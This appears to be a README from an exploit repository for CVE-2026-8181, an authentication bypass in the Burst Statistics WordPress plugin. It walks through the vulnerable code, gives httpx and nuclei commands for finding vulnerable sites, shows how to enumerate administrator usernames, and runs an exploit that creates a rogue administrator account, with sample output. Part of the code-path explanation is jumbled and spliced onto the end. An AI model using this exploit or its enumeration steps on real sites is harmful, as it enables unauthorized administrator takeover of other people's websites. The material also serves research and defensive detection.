
Exploit for the CVE-2026-8181 - Burst Statistics WordPress Plugin Authentication Bypass
Exploit for the CVE-2026-8181 discovered by Chloe Chamberland and PRISM.
This repository is provided for research and defensive security purposes only. The author assumes no responsibility for misuse of this information.
The Burst Statistics – Privacy-Friendly WordPress Analytics plugin for WordPress is vulnerable to an Authentication Bypass leading to Administrator Privilege Escalation in versions 3.4.0 through 3.4.1.1.
The vulnerability exists in the is_mainwp_authenticated() method of the plugin's MainWP proxy, which incorrectly treats any non-WP_Error return value from wp_authenticate_application_password() as a successful authentication.
This allows unauthenticated attackers that know a valid administrator username to impersonate that administrator for the duration of any REST API request, including WordPress core endpoints such as POST /wp-json/wp/v2/users. The existing administrator's credentials are never compromised, but the attacker gains its privileges long enough to create a brand new administrator account.
The vulnerability chain is as follows:
includes/class-burst.php:41 -> The plugin registers init() on plugins_loaded priority 9, which runs bootstrap() and calls has_admin_access() for every request (REST included).
includes/Traits/trait-admin-helper.php:202 -> When the request carries the header X-BurstMainWP: 1, has_admin_access() instantiates MainWP_Proxy and delegates authentication to is_mainwp_authenticated().
includes/Frontend/class-mainwp-proxy.php:314 -> The method reads the Authorization header, decodes the Basic credentials and forwards the attacker-supplied / to WordPress core's .
A single HTTP request with a fake password is therefore sufficient to impersonate any administrator at the WordPress core REST API level.
Active plugin — homepage HTML references its assets only when the plugin is enqueued:
echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
Version — readme.txt is served statically and exposes the installed version (vulnerable: 3.4.0–3.4.1.1, patched: 3.4.2+):
echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
The bundled CVE-2026-8181.yaml nuclei template automates both checks and version comparison:
nuclei -t CVE-2026-8181.yaml -u http://127.0.0.1:8000
Once a vulnerable version of the plugin has been detected, exploitation requires knowing a valid administrator username. WordPress's REST API leaks them on most installs through the public users endpoint:
echo http://127.0.0.1:8000 | httpx -silent -path '/wp-json/wp/v2/users' -er '"slug":"[^"]+"'
When that endpoint is locked down (e.g. by Disable REST API or Stop User Enumeration), the author archive trick (/?author=N) usually still leaks the username via the redirect to /author/<username>/.
With a valid username in hand the exploit creates a new administrator account in a single request:
Install python dependencies:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Run the exploit against the target, supplying a known administrator username with -u:
venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
Output example:
[2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
[2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
Log into /wp-admin/ with the newly created administrator account.
The bypass only fires if the Authorization header reaches PHP via $_SERVER['HTTP_AUTHORIZATION']. On Apache + mod_php with plain permalinks (WordPress's out-of-the-box default), no .htaccess is generated and the header is silently stripped — the exploit cannot succeed.
Switching to any non-plain permalink in Settings → Permalinks makes WordPress 5.6+ write the RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] directive into .htaccess, restoring forwarding. Nginx + PHP-FPM and LiteSpeed forward Authorization by default regardless of permalinks. Pretty permalinks being the SEO norm in production is why this vulnerability is rated CVSS 9.8 unauthenticated.
The exploit tries /wp-json/wp/v2/users first then falls back to /index.php?rest_route=/wp/v2/users so endpoint routing is never the blocker — only header forwarding is.
usernamepasswordwp_authenticate_application_password()includes/Frontend/class-mainwp-proxy.php:328-329 -> The return value is only checked with is_wp_error(). WordPress core returns the unmodified $input_user (here null) when Application Passwords are not in use or when the request is not flagged as an API request. At plugins_loaded priority 9 the REST API has not yet set the application_password_is_api_request filter to true, so the second condition is always met when the vulnerable code runs — and null is not a WP_Error, so the guard passes.
includes/Frontend/class-mainwp-proxy.php:336 -> wp_set_current_user( $user->ID ) is called with the user looked up purely from the attacker-supplied username, setting the globally authenticated user for the entire request.